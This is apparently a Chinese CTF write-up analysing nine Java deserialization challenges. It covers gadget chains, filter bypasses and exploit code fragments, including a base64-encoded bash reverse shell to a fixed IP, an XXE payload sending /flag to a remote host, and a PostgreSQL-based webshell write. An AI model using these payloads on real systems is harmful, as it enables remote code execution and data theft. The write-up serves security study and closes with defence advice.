记几道CTF-Java反序列化题目
字数 2130 2025-08-18 17:33:44

Java反序列化漏洞实战教学

目录

  1. [CISCN 2023]deserbug
  2. [MTCTF2022]easyjava
  3. [羊城杯 2020]a_piece_of_java
  4. [红明谷CTF 2021]JavaWeb
  5. [HZNUCTF 2023]easyjava
  6. [网鼎杯 2020青龙组]FileJava
  7. [CISCN 2023 西南]seaclouds
  8. [第六届安洵杯]ezjava
  9. [CISCN2023华北]normal_snake

1. [CISCN 2023]deserbug

漏洞分析

  • 依赖:common-collections-3.2.2和hutool-all-5.8.18
  • CC3.2.2比3.2.1多了一个checkUnsafeSerialization函数,禁止了部分类的序列化
  • 关键类:MyExpectTestapp
  • 利用点:getAnyexcept()方法中的类实例化

利用链

HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode() -> 
TiedMapEntry#getValue() -> LazyMap#get() -> cn.hutool.json.JSONObject#put() -> 
Myexpect#getAnyexcept() -> TrAXFilter#constructor() -> 
TemplatesImpl#newTransformer() -> Runtime.exec

绕过技巧

  • 通过hutool中的put方法触发getAnyexcept
  • 使用LazyMap#get触发map.put

利用代码关键点

// 设置恶意TemplatesImpl
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});

// 构造Myexpect触发点
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});

// 构造LazyMap链
LazyMap lazyMap = (LazyMap) LazyMap.decorate(jsonObject,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "1");

2. [MTCTF2022]easyjava

漏洞分析

  • Shiro 1.5.2版本存在;绕过权限认证漏洞
  • 自定义MyObjectInputStream过滤了部分危险类
  • 使用commons-beanutils 1.9.4的CB链

利用链

PriorityQueue.readObject() -> PriorityQueue.siftDownUsingComparator() -> 
BeanComparator.compare() -> TemplateImpl.getOutputProperties() -> 
TemplateImpl.newTransformer -> 动态调用类

绕过技巧

  • 使用;绕过Shiro认证
  • 利用未被过滤的BeanComparator

利用代码关键点

// 设置恶意TemplatesImpl
setFieldValue(templates,"_bytecodes",codes);

// 构造PriorityQueue触发链
BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
priorityQueue.add("1");
priorityQueue.add("2");

// 修改属性触发比较
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});

3. [羊城杯 2020]a_piece_of_java

漏洞分析

  • 使用SerialKiller进行反序列化过滤
  • 白名单限制:gdufs.*java.lang.*
  • 存在mysql-connect-8.0.19依赖

利用链

通过JDBC反序列化触发:

  1. DriverManager.getConnection触发JDBC反序列化
  2. checkAllInfo触发连接
  3. InfoInvocationHandler#invoke动态代理触发

利用方法

  1. 搭建恶意MySQL服务器
  2. 使用ysoserial生成CC链payload
  3. 通过CookieData触发

恶意MySQL服务器关键点

# 设置autoDeserialize参数触发反序列化
databaseInfo.setPassword("123123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

# 在MySQL服务器中返回恶意序列化数据
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)

4. [红明谷CTF 2021]JavaWeb

漏洞分析

  • Shiro框架存在权限绕过
  • 使用jackson框架
  • 最终利用ch.qos.logback.core.db.JNDIConnectionSource实现RCE

利用方法

  1. 搭建RMI服务
  2. 实例化恶意类
  3. 通过JNDI注入触发

恶意类示例

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

5. [HZNUCTF 2023]easyjava

漏洞分析

  • Fastjson 1.2.48
  • 使用原生反序列化通过JSON#toString触发

利用链

JSON#toString -> json#toJSONString -> get方法

利用代码关键点

// 构造恶意TemplatesImpl
setValue(templates, "_bytecodes", bytes);

// 使用BadAttributeValueExpException触发
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);

高版本JDK绕过

使用javaSerializedData属性绕过trustURLCodebase限制:

e.addAttribute("javaSerializedData", Base64.decode("exp的base64"));

6. [网鼎杯 2020青龙组]FileJava

漏洞分析

  • Apache POI < 4.1.0存在XXE漏洞(CVE-2014-3529)
  • 漏洞触发点:ZipPackage#getPartsImpl -> ContentTypeManager#parseContentTypesFile

利用方法

  1. 修改xlsx中的Content-Type文件
  2. 添加XXE payload
  3. 文件名必须以excel-开头

XXE Payload示例

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/file.dtd">
%remote;%int;%send;
]>

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:port?p=%file;'>">

7. [CISCN 2023 西南]seaclouds

漏洞分析

  • 使用kryo反序列化
  • 存在二次反序列化绕过

利用链

kyro#readObject() -> hashMap#put() -> HotSwappableTargetSource#equals() -> 
Xstring#equals() -> BaseJsonNode#toString() -> SignedObject#getObject() -> 
HashMap#readObject() -> templatesImpl#getOutputProperties()

利用代码关键点

// 第一次序列化
HashMap hashMap=new HashMap();
hashMap.put(hotSwappableTargetSource,"1");
hashMap.put(hotSwappableTargetSource1,"2");

// 第二次序列化包装
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode1=new POJONode(signedObject);

8. [第六届安洵杯]ezjava

漏洞分析

  • 自定义MyObjectInputStream过滤了常见利用类
  • 存在PostgreSQL JDBC驱动漏洞(CVE-2022-21724)

利用链

BadAttributeValueExpException#readObject() -> TiedMapEntry#getValue() -> 
LazyMap#get() -> TreeMap#put() -> BeanComparator#compare() -> 
BaseDataSource#getConnection() -> org.postgresql.Driver#setupLoggerFromProperties() -> 
org.postgresql.Driver#connect() -> 写入文件

利用方法

  1. 利用freemarker模板注入
  2. 通过PostgreSQL的loggerFile参数写入webshell

利用代码关键点

// 设置PostgreSQL连接参数
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;

// 构造BeanComparator触发链
BeanComparator beanComparator=new BeanComparator();
setFieldValue(beanComparator, "property", "connection");

9. [CISCN2023华北]normal_snake

漏洞分析

  • SnakeYAML 1.30反序列化漏洞
  • 过滤了!!、JAVA、JNDI、JDBC等关键字
  • 存在c3p0 0.9.5.2依赖

利用链

通过c3p0的二次反序列化绕过过滤:

  1. property.set()触发set方法
  2. 触发setuserOverridesAsString
  3. 通过c3p0的动态类加载实现RCE

利用代码关键点

// 构造c3p0恶意数据源
PoolBackedDataSourceBase poolBackedDataSourceBase=new PoolBackedDataSourceBase(false);
Field connectionPoolDataSource=poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.set(poolBackedDataSourceBase,c3P0);

// 生成YAML payload
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" + hex + ";\"}";

通用防御建议

  1. 升级相关库到最新版本
  2. 使用安全的反序列化工具如SerialKiller
  3. 实施严格的白名单机制
  4. 禁用不必要的Java特性
  5. 对用户输入进行严格过滤

总结

本文详细分析了9个Java反序列化漏洞案例,涵盖了CC链、CB链、JDBC反序列化、SnakeYAML、Fastjson等多种漏洞类型,并提供了详细的利用方法和绕过技巧。理解这些漏洞原理和利用技术对于Java安全研究和防御具有重要意义。

Java反序列化漏洞实战教学 目录 [ CISCN 2023 ]deserbug [ MTCTF2022 ]easyjava [ 羊城杯 2020]a_ piece_ of_ java [ 红明谷CTF 2021 ]JavaWeb [ HZNUCTF 2023 ]easyjava [ 网鼎杯 2020青龙组 ]FileJava [ CISCN 2023 西南 ]seaclouds [ 第六届安洵杯 ]ezjava [ CISCN2023华北]normal_ snake 1. [ CISCN 2023 ]deserbug 漏洞分析 依赖:common-collections-3.2.2和hutool-all-5.8.18 CC3.2.2比3.2.1多了一个 checkUnsafeSerialization 函数,禁止了部分类的序列化 关键类: MyExpect 和 Testapp 利用点: getAnyexcept() 方法中的类实例化 利用链 绕过技巧 通过hutool中的 put 方法触发 getAnyexcept 使用 LazyMap#get 触发 map.put 利用代码关键点 2. [ MTCTF2022 ]easyjava 漏洞分析 Shiro 1.5.2版本存在 ; 绕过权限认证漏洞 自定义 MyObjectInputStream 过滤了部分危险类 使用commons-beanutils 1.9.4的CB链 利用链 绕过技巧 使用 ; 绕过Shiro认证 利用未被过滤的 BeanComparator 利用代码关键点 3. [ 羊城杯 2020]a_ piece_ of_ java 漏洞分析 使用SerialKiller进行反序列化过滤 白名单限制: gdufs.* 和 java.lang.* 存在mysql-connect-8.0.19依赖 利用链 通过JDBC反序列化触发: DriverManager.getConnection 触发JDBC反序列化 checkAllInfo 触发连接 InfoInvocationHandler#invoke 动态代理触发 利用方法 搭建恶意MySQL服务器 使用ysoserial生成CC链payload 通过CookieData触发 恶意MySQL服务器关键点 4. [ 红明谷CTF 2021 ]JavaWeb 漏洞分析 Shiro框架存在权限绕过 使用jackson框架 最终利用 ch.qos.logback.core.db.JNDIConnectionSource 实现RCE 利用方法 搭建RMI服务 实例化恶意类 通过JNDI注入触发 恶意类示例 5. [ HZNUCTF 2023 ]easyjava 漏洞分析 Fastjson 1.2.48 使用原生反序列化通过 JSON#toString 触发 利用链 利用代码关键点 高版本JDK绕过 使用 javaSerializedData 属性绕过 trustURLCodebase 限制: 6. [ 网鼎杯 2020青龙组 ]FileJava 漏洞分析 Apache POI < 4.1.0存在XXE漏洞(CVE-2014-3529) 漏洞触发点: ZipPackage#getPartsImpl -> ContentTypeManager#parseContentTypesFile 利用方法 修改xlsx中的Content-Type文件 添加XXE payload 文件名必须以 excel- 开头 XXE Payload示例 7. [ CISCN 2023 西南 ]seaclouds 漏洞分析 使用kryo反序列化 存在二次反序列化绕过 利用链 利用代码关键点 8. [ 第六届安洵杯 ]ezjava 漏洞分析 自定义 MyObjectInputStream 过滤了常见利用类 存在PostgreSQL JDBC驱动漏洞(CVE-2022-21724) 利用链 利用方法 利用freemarker模板注入 通过PostgreSQL的 loggerFile 参数写入webshell 利用代码关键点 9. [ CISCN2023华北]normal_ snake 漏洞分析 SnakeYAML 1.30反序列化漏洞 过滤了 !! 、JAVA、JNDI、JDBC等关键字 存在c3p0 0.9.5.2依赖 利用链 通过c3p0的二次反序列化绕过过滤: property.set() 触发set方法 触发 setuserOverridesAsString 通过c3p0的动态类加载实现RCE 利用代码关键点 通用防御建议 升级相关库到最新版本 使用安全的反序列化工具如SerialKiller 实施严格的白名单机制 禁用不必要的Java特性 对用户输入进行严格过滤 总结 本文详细分析了9个Java反序列化漏洞案例,涵盖了CC链、CB链、JDBC反序列化、SnakeYAML、Fastjson等多种漏洞类型,并提供了详细的利用方法和绕过技巧。理解这些漏洞原理和利用技术对于Java安全研究和防御具有重要意义。